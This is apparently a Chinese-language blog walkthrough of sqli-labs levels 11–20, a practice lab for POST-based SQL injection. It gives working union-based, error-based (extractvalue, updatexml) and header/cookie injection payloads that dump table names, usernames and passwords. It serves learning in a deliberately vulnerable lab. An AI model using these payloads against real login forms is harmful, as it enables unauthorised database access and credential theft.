从第11关开始,我们就进入到了POST注入的世界了。
POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以
post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件
好,开始闯关
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
我们先输账号为:admin'
密码为:123可以看到123被单引号括住,说明是单引号闭合型。
接下来输入账号为:admin'#
,密码为:123
可以看到,页面显示正确进入,而且还有两个显示位面。
这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin' order by 3#
,(注意这里注释的话要用#,用–+页面会报错的)
页面错误,将3改为2,页面正常。所以有两个字段。
爆数据库名:Username:0admin' union select 1,database()#
爆数据表名:Username:0admin' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
爆字段名:Username:0admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')#
爆所有数据:Username:0admin' union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#
第十二关
和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦 {")
闭合型注入}
第十三关
发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合
获得数据库名
最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述
第十四关
和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码
第十五关
这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的
获取用户名密码
第十六关
和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注
第十七关
这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破
Username:admin
Password:1' order by 3#
可以看到
有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
爆数据表:Password:1'and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名
那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,' or updatexml(1,concat('#',(Clause)),1)#
这时,Clause就是我们需要用到的子句了。
爆完整的列名
Password:' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
爆字段名:' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
爆数据:' or updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。
第十八关
这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost,因为我试了试发现不能)
我们先输入一个admin,admin,发送到repeater,这样咱们就不用在浏览器上一直输入了,简单快捷,哈哈哈哈哈
我们把这句话换成我们想要的查询语句就可以了(使用extractvalue进行)和第12关的语句基本一样
获得数据库名
获得数据库表
获得数据库列名
获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)
第十九关
这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer
获得库名(又是重复性动作了,和上一关一样,我就不截图那么多了)
获得用户名密码
第二十关
进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入
在这里进行注入
还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位
获得数据库名
获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了
11-20关结束
来源:https://www.cnblogs.com/swl0221/p/12296558.html